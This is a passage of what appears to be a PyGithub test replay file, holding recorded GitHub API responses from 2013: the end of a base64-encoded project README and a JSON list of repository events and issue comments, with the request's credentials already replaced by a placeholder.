W9uLCBhbnkgcmVtYXJrLCBvciBpZiB5b3UgZmluZCBhIGJ1Zywgb3Ig\naWYgdGhlcmUgaXMgc29tZXRoaW5nIHlvdSBjYW4gZG8gd2l0aCB0aGUgQVBJ\nIGJ1dCBub3Qgd2l0aCBQeUdpdGh1YiwgcGxlYXNlIGBvcGVuIGFuIGlzc3Vl\nIDxodHRwczovL2dpdGh1Yi5jb20vamFjcXVldjYvUHlHaXRodWIvaXNzdWVz\nPmBfLgoKUHlHaXRodWIgaXMgc3RhYmxlLiBJIHdpbGwgbWFpbnRhaW4gaXQg\ndXAgdG8gZGF0ZSB3aXRoIHRoZSBBUEksIGFuZCBmaXggYnVncyBpZiBhbnks\nIGJ1dCBJIGRvbid0IHBsYW4gbmV3IGhlYXZ5IGRldmVsb3BtZW50cy4KCldo\nYXQncyBuZXc/Cj09PT09PT09PT09CgoKYFZlcnNpb24gMS4xOC4wIDxodHRw\nczovL2dpdGh1Yi5jb20vamFjcXVldjYvUHlHaXRodWIvaXNzdWVzP21pbGVz\ndG9uZT0zMCZzdGF0ZT1jbG9zZWQ+YF8gKEF1Z3VzdCAyMXN0LCAyMDEzKSAo\nQsOpbm9kZXQgZWRpdGlvbikKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLQoKKiBgSXNzdWVzIDxodHRwczovL2dpdGh1Yi5jb20vamFj\ncXVldjYvUHlHaXRodWIvcHVsbC8xODE+YF8nIGBgcmVwb3NpdG9yeWBgIGF0\ndHJpYnV0ZSB3aWxsIG5ldmVyIGJlIGBgTm9uZWBgLiBUaGFuayB5b3UgYHN0\ndWdsYXNlciA8aHR0cHM6Ly9naXRodWIuY29tL3N0dWdsYXNlcj5gXyBmb3Ig\ndGhlIHB1bGwgcmVxdWVzdAoqIE5vIG1vcmUgZmFsc2UgYXNzdW1wdGlvbiBv\nbiBgcmF0ZV9saW1pdGluZyA8aHR0cHM6Ly9naXRodWIuY29tL2phY3F1ZXY2\nL1B5R2l0aHViL3B1bGwvMTg2PmBfLCBhbmQgY3JlYXRpb24gb2YgYGByYXRl\nX2xpbWl0aW5nX3Jlc2V0dGltZWBgLiBUaGFuayB5b3UgYGVkamFja3NvbiA8\naHR0cHM6Ly9naXRodWIuY29tL2VkamFja3Nvbj5gXyBmb3IgdGhlIHB1bGwg\ncmVxdWVzdAoqIGBOZXcgPGh0dHBzOi8vZ2l0aHViLmNvbS9qYWNxdWV2Ni9Q\neUdpdGh1Yi9wdWxsLzE4Nz5gXyBwYXJhbWV0ZXJzIGBgc2luY2VgYCBhbmQg\nYGB1bnRpbGBgIHRvIGBgUmVwb3NpdG9yeS5nZXRfY29tbWl0c2BgLiBUaGFu\nayB5b3UgYGFwZXRyZXNjIDxodHRwczovL2dpdGh1Yi5jb20vYXBldHJlc2M+\nYF8gZm9yIHRoZSBwdWxsIHJlcXVlc3QKKiBgQ2F0Y2ggPGh0dHBzOi8vZ2l0\naHViLmNvbS9qYWNxdWV2Ni9QeUdpdGh1Yi9wdWxsLzE4Mj5gXyBKc29uIHBh\ncnNpbmcgZXhjZXB0aW9uIGZvciBzb21lIGludGVybmFsIHNlcnZlciBlcnJv\ncnMsIGFuZCB0aHJvdyBhIGJldHRlciBleGNlcHRpb24uIFRoYW5rIHlvdSBg\nTWFya1JvZGR5IDxodHRwczovL2dpdGh1Yi5jb20vTWFya1JvZGR5PmBfIGZv\nciB0aGUgcHVsbCByZXF1ZXN0CiogYEFsbG93IDxodHRwczovL2dpdGh1Yi5j\nb20vamFjcXVldjYvUHlHaXRodWIvcHVsbC8xODQ+YF8gcmV2ZXJzZWQgaXRl\ncmF0aW9uIG9mIGBgUGFnaW5hdGVkTGlzdGBgcy4gVGhhbmsgeW91IGBkYXZp\nZGJyYWkgPGh0dHBzOi8vZ2l0aHViLmNvbS9kYXZpZGJyYWk+YF8gZm9yIHRo\nZSBwdWxsIHJlcXVlc3QKCldoYXQncyBtaXNzaW5nPwo9PT09PT09PT09PT09\nPT0KCldlIG5vdyBoYXZlIGF1dG9tYXRlZCB3YXlzIHRvIGxpc3QgVVJMcyBk\nb2N1bWVudGVkIGluIGB0aGUgcmVmZXJlbmNlIG9mIEdpdGh1YiBBUEkgdjMg\nPGh0dHA6Ly9kZXZlbG9wZXIuZ2l0aHViLmNvbT5gXyBhbmQgbm90IGNvdmVy\nZWQgYnkgUHlHaXRodWIuCgpHaXRodWIgQVBJIHYzIFVSTHMgbm90ICh5ZXQp\nIGNvdmVyZWQgYnkgUHlHaXRodWIKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgoqIGBgL2FwcGxpY2F0aW9ucy86\nY2xpZW50X2lkL3Rva2Vucy86YWNjZXNzX3Rva2VuYGAgKEdFVCkKKiBgYC9m\nZWVkc2BgIChHRVQpCiogYGAvZ2lzdHMvOmlkL2ZvcmtzYGAgKFBPU1QpCgog\nICogaW5zdGVhZCwgYGBHaXN0LmNyZWF0ZV9mb3JrYGAgY2FsbHMgdGhlIG9s\nZCBVUkwgYGAvZ2lzdHMvOmlkL2ZvcmtgYAoKKiBgYC9tZXRhYGAgKEdFVCkK\nKiBgYC9ub3RpZmljYXRpb25zYGAgKFBVVCkKKiBgYC9ub3RpZmljYXRpb25z\nL2VtYWlsc2BgIChHRVQpCiogYGAvbm90aWZpY2F0aW9ucy9lbWFpbHNgYCAo\nUEFUQ0gpCiogYGAvbm90aWZpY2F0aW9ucy9nbG9iYWwvZW1haWxzYGAgKEdF\nVCkKKiBgYC9ub3RpZmljYXRpb25zL2dsb2JhbC9lbWFpbHNgYCAoUFVUKQoq\nIGBgL25vdGlmaWNhdGlvbnMvb3JnYW5pemF0aW9uLzpvcmcvZW1haWxzYGAg\nKEdFVCkKKiBgYC9ub3RpZmljYXRpb25zL29yZ2FuaXphdGlvbi86b3JnL2Vt\nYWlsc2BgIChQVVQpCiogYGAvbm90aWZpY2F0aW9ucy9zZXR0aW5nc2BgIChH\nRVQpCiogYGAvbm90aWZpY2F0aW9ucy9zZXR0aW5nc2BgIChQQVRDSCkKKiBg\nYC9ub3RpZmljYXRpb25zL3RocmVhZHMvOmlkYGAgKFBBVENIKQoqIGBgL25v\ndGlmaWNhdGlvbnMvdGhyZWFkcy86aWQvc3Vic2NyaXB0aW9uYGAgKERFTEVU\nRSkKKiBgYC9ub3RpZmljYXRpb25zL3RocmVhZHMvOmlkL3N1YnNjcmlwdGlv\nbmBgIChHRVQpCiogYGAvbm90aWZpY2F0aW9ucy90aHJlYWRzLzppZC9zdWJz\nY3JpcHRpb25gYCAoUFVUKQoqIGBgL3JhdGVfbGltaXRgYCAoR0VUKQoKICAq\nIHNob3VsZCBiZSBjYWxsZWQgaW4gbWV0aG9kIGBgR2l0aHViLmdldF9yYXRl\nX2xpbWl0YGAuIFNlZSBhbHNvIGBgR2l0aHViLnJhdGVfbGltaXRpbmdgYAoK\nKiBgYC9yZXBvcy86b3duZXIvOnJlcG8vY29udGVudHMvOnBhdGhgYCAoREVM\nRVRFKQoqIGBgL3JlcG9zLzpvd25lci86cmVwby9jb250ZW50cy86cGF0aGBg\nIChQVVQpCiogYGAvcmVwb3MvOm93bmVyLzpyZXBvL2hvb2tzLzppZC90ZXN0\nc2BgIChQT1NUKQoKICAqIGluc3RlYWQsIGBgSG9vay50ZXN0YGAgY2FsbHMg\ndGhlIG9sZCBVUkwgYGAvcmVwb3MvOm93bmVyLzpyZXBvL2hvb2tzLzppZC90\nZXN0YGAKCiogYGAvcmVwb3MvOm93bmVyLzpyZXBvL25vdGlmaWNhdGlvbnNg\nYCAoR0VUKQoqIGBgL3JlcG9zLzpvd25lci86cmVwby9ub3RpZmljYXRpb25z\nYGAgKFBVVCkKKiBgYC9yZXBvcy86b3duZXIvOnJlcG8vc3RhdHMvY29kZV9m\ncmVxdWVuY3lgYCAoR0VUKQoqIGBgL3JlcG9zLzpvd25lci86cmVwby9zdGF0\ncy9jb21taXRfYWN0aXZpdHlgYCAoR0VUKQoqIGBgL3JlcG9zLzpvd25lci86\ncmVwby9zdGF0cy9jb250cmlidXRvcnNgYCAoR0VUKQoqIGBgL3JlcG9zLzpv\nd25lci86cmVwby9zdGF0cy9wYXJ0aWNpcGF0aW9uYGAgKEdFVCkKKiBgYC9y\nZXBvcy86b3duZXIvOnJlcG8vc3RhdHMvcHVuY2hfY2FyZGBgIChHRVQpCiog\nYGAvcmVwb3MvOm93bmVyLzpyZXBvL3N1YnNjcmlwdGlvbmBgIChERUxFVEUp\nCiogYGAvcmVwb3MvOm93bmVyLzpyZXBvL3N1YnNjcmlwdGlvbmBgIChHRVQp\nCiogYGAvcmVwb3MvOm93bmVyLzpyZXBvL3N1YnNjcmlwdGlvbmBgIChQVVQp\nCiogYGAvcmVwb3NpdG9yaWVzYGAgKEdFVCkKCiAgKiBzaG91bGQgYmUgY2Fs\nbGVkIGluIG1ldGhvZCBgYEdpdGh1Yi5nZXRfcmVwb3NgYAoKKiBgYC9zZWFy\nY2gvY29kZWBgIChHRVQpCiogYGAvc2VhcmNoL2lzc3Vlc2BgIChHRVQpCiog\nYGAvc2VhcmNoL3JlcG9zaXRvcmllc2BgIChHRVQpCiogYGAvc2VhcmNoL3Vz\nZXJzYGAgKEdFVCkKKiBgYC91c2Vycy86dXNlci9mb2xsb3dpbmcvOnRhcmdl\ndF91c2VyYGAgKEdFVCkKCiAgKiBzaG91bGQgYmUgY2FsbGVkIGluIG1ldGhv\nZCBgYE5hbWVkVXNlci5oYXNfaW5fZm9sbG93aW5nYGAKCkRvY3VtZW50YXRp\nb24KPT09PT09PT09PT09PQoKQWxsIHRoZSBkb2N1bWVudGF0aW9uIGlzIGhl\ncmU6IGh0dHA6Ly9qYWNxdWV2Ni5naXRodWIuY29tL1B5R2l0aHViLgo=\n","encoding":"base64","_links":{"self":"https://api.github.com/repos/jacquev6/PyGithub/contents/README.rst?ref=master","git":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs/7b03e11cebcf910764a583dd8be5b6824046459b","html":"https://github.com/jacquev6/PyGithub/blob/master/README.rst"}} https GET api.github.com None /repos/jacquev6/PyGithub/events {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4868'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'aad86338-b4d2-44ad-b094-37965f99ed02'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '150840'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:41:05 GMT'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next"'), ('etag', '"815ffb5687c4d26df4a1e81e5de3ac7e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:05:58 GMT'), ('access-control-allow-origin', '*'), ('x-poll-interval', '60'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] [{"id":"1823555573","type":"DeleteEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"ref":"topic/ImproveDocumentation","ref_type":"branch"},"public":true,"created_at":"2013-09-06T12:41:05Z"},{"id":"1823554600","type":"DeleteEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"ref":"topic/SpecificExceptions","ref_type":"branch"},"public":true,"created_at":"2013-09-06T12:39:45Z"},{"id":"1823452056","type":"IssueCommentEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"created","issue":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/163","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/163/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/163/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/163/events","html_url":"https://github.com/jacquev6/PyGithub/issues/163","id":13924435,"number":163,"title":"Looking to help out","user":{"login":"shercoder","id":1681066,"avatar_url":"https://1.gravatar.com/avatar/3bc7caad2383726988f7834c6800f7f9?d=https%3A%2F%2Fidenticons.github.com%2F902797e4e8c74be19dce4e4640f8b455.png","gravatar_id":"3bc7caad2383726988f7834c6800f7f9","url":"https://api.github.com/users/shercoder","html_url":"https://github.com/shercoder","followers_url":"https://api.github.com/users/shercoder/followers","following_url":"https://api.github.com/users/shercoder/following{/other_user}","gists_url":"https://api.github.com/users/shercoder/gists{/gist_id}","starred_url":"https://api.github.com/users/shercoder/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shercoder/subscriptions","organizations_url":"https://api.github.com/users/shercoder/orgs","repos_url":"https://api.github.com/users/shercoder/repos","events_url":"https://api.github.com/users/shercoder/events{/privacy}","received_events_url":"https://api.github.com/users/shercoder/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/28","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/28/labels","id":358501,"number":28,"title":"Issues assigned to volunteers","description":"This (fake) milestone groups all issues on which a volunteer is working.","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":3,"closed_issues":0,"state":"open","created_at":"2013-06-18T20:42:13Z","updated_at":"2013-08-20T21:27:13Z","due_on":null},"comments":3,"created_at":"2013-05-03T07:39:10Z","updated_at":"2013-09-06T10:04:19Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hey my friend introduced me to your project and we have already started to use it in our small projects.I am looking to help out. Is there anything that i can do to help out in your project. If there is anything that I can help you with, please let me know. Thank you"},"comment":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/23930309","html_url":"https://github.com/jacquev6/PyGithub/issues/163#issuecomment-23930309","issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/163","id":23930309,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://2.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"created_at":"2013-09-06T10:04:19Z","updated_at":"2013-09-06T10:04:19Z","body":"Update: some missing functionalities are now listed in [README.rst](https://github.com/jacquev6/PyGithub/blob/master/README.rst)"}},"public":true,"created_at":"2013-09-06T10:04:19Z"},{"id":"1823450347","type":"IssueCommentEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"created","issue":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/179","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/179/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/179/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/179/events","html_url":"https://github.com/jacquev6/PyGithub/pull/179","id":15885976,"number":179,"title":"Automatic rety, empty repo handling and updated arguments for get_commits","user":{"login":"wcdolphin","id":446889,"avatar_url":"https://1.gravatar.com/avatar/3202f845a8cafe9729d397649dfadd3a?d=https%3A%2F%2Fidenticons.github.com%2F37f8d4e8ebdd8ce92fbb3503fe9aa31a.png","gravatar_id":"3202f845a8cafe9729d397649dfadd3a","url":"https://api.github.com/users/wcdolphin","html_url":"https://github.com/wcdolphin","followers_url":"https://api.github.com/users/wcdolphin/followers","following_url":"https://api.github.com/users/wcdolphin/following{/other_user}","gists_url":"https://api.github.com/users/wcdolphin/gists{/gist_id}","starred_url":"https://api.github.com/users/wcdolphin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wcdolphin/subscriptions","organizations_url":"https://api.github.com/users/wcdolphin/orgs","repos_url":"https://api.github.com/users/wcdolphin/repos","events_url":"https://api.github.com/users/wcdolphin/events{/privacy}","received_events_url":"https://api.github.com/users/wcdolphin/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/28","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/28/labels","id":358501,"number":28,"title":"Issues assigned to volunteers","description":"This (fake) milestone groups all issues on which a volunteer is working.","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":3,"closed_issues":0,"state":"open","created_at":"2013-06-18T20:42:13Z","updated_at":"2013-08-20T21:27:13Z","due_on":null},"comments":3,"created_at":"2013-06-22T15:59:01Z","updated_at":"2013-09-06T10:02:07Z","closed_at":null,"pull_request":{"html_url":"https://github.com/jacquev6/PyGithub/pull/179","diff_url":"https://github.com/jacquev6/PyGithub/pull/179.diff","patch_url":"https://github.com/jacquev6/PyGithub/pull/179.patch"},"body":"This PR adds:\r\n1. Automatic retrying on failure of an idempotent request, up to a default of 5 times.\r\n2. Handling and raising of EmptyRepositoryException which can be emitted by a call to get_commits\r\n3. Updated arguments for Repository.get_commits, reflecting the url_params for Github API V3\r\n\r\nPlease let me know if you have any feedback on style, etc. I will happily address. \r\n "},"comment":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/23930203","html_url":"https://github.com/jacquev6/PyGithub/pull/179#issuecomment-23930203","issue_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/179","id":23930203,"user":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"created_at":"2013-09-06T10:02:07Z","updated_at":"2013-09-06T10:02:07Z","body":"Hello @wcdolphin,\r\n\r\ndo you still plan to work on this? If not, it's not a problem. I ask you this now because I'm going to have time to do it on my side in the coming days.\r\n\r\nThanks,"}},"public":true,"created_at":"2013-09-06T10:02:07Z"},{"id":"1823413095","type":"IssuesEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"closed","issue":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188/events","html_url":"https://github.com/jacquev6/PyGithub/issues/188","id":17736533,"number":188,"title":"Getting the status of GitHub","user":{"login":"ruxandraburtica","id":797922,"avatar_url":"https://2.gravatar.com/avatar/5703c5907fc67b679be40fd307b07733?d=https%3A%2F%2Fidenticons.github.com%2F470a720db37e19afad67c34e30ffcd85.png","gravatar_id":"5703c5907fc67b679be40fd307b07733","url":"https://api.github.com/users/ruxandraburtica","html_url":"https://github.com/ruxandraburtica","followers_url":"https://api.github.com/users/ruxandraburtica/followers","following_url":"https://api.github.com/users/ruxandraburtica/following{/other_user}","gists_url":"https://api.github.com/users/ruxandraburtica/gists{/gist_id}","starred_url":"https://api.github.com/users/ruxandraburtica/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ruxandraburtica/subscriptions","organizations_url":"https://api.github.com/users/ruxandraburtica/orgs","repos_url":"https://api.github.com/users/ruxandraburtica/repos","events_url":"https://api.github.com/users/ruxandraburtica/events{/privacy}","received_events_url":"https://api.github.com/users/ruxandraburtica/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/31/labels","id":402388,"number":31,"title":"Version 1.19.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":1,"closed_issues":3,"state":"open","created_at":"2013-08-15T05:54:47Z","updated_at":"2013-09-06T09:11:57Z","due_on":null},"comments":2,"created_at":"2013-08-07T08:57:49Z","updated_at":"2013-09-06T09:11:57Z","closed_at":"2013-09-06T09:11:57Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Maybe I haven't found it, but it would be very useful to have methods for checking the status of the GitHub API (https://status.github.com/api)"}},"public":true,"created_at":"2013-09-06T09:11:58Z"},{"id":"1823413094","type":"IssueCommentEvent","actor":{"id":327146,"login":"jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fa248.e.akamai.net%2Fassets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png"},"repo":{"id":3544490,"name":"jacquev6/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub"},"payload":{"action":"created","issue":{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/188/events","html_url":"https://github.com/jacquev6/PyGithub/issues/188","id":17736533,"number":188,"title":"Getting the status of GitHub","user":{"login":"ruxandraburtica","id":797922,"avatar_url":"https://2.gravatar.com/avatar/5703c5907fc67b679be40fd307b07733?d=https%3A%2F%2Fidenticons.github.com%2F470a720db37e19afad67c34e30ffcd85.png","gravatar_id":"5703c5907fc67b679be40fd307b07733","url":"https://api.github.com/users/ruxandraburtica","html_url":"https://github.com/ruxandraburtica","followers_url":"https://api.github.com/users/ruxandraburtica/followers","following_url":"https://api.github.com/users/ruxandraburtica/following{/other_user}","gists_url":"https://api.github.com/users/ruxandraburtica/gists{/gist_id}","starred_url":"https://api.github.com/users/ruxandraburtica/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ruxandraburtica/subscriptions","organizations_url":"https://api.github.com/users/ruxandraburtica/orgs","repos_url":"https://api.github.com/users/ruxandraburtica/repos","events_url":"https://api.github.com/users/ruxandraburtica/events{/privacy}","received_events_url":"https://api.github.com/users/ruxandraburtica/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Functionalities","name":"Functionalities","color":"e102d8"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by 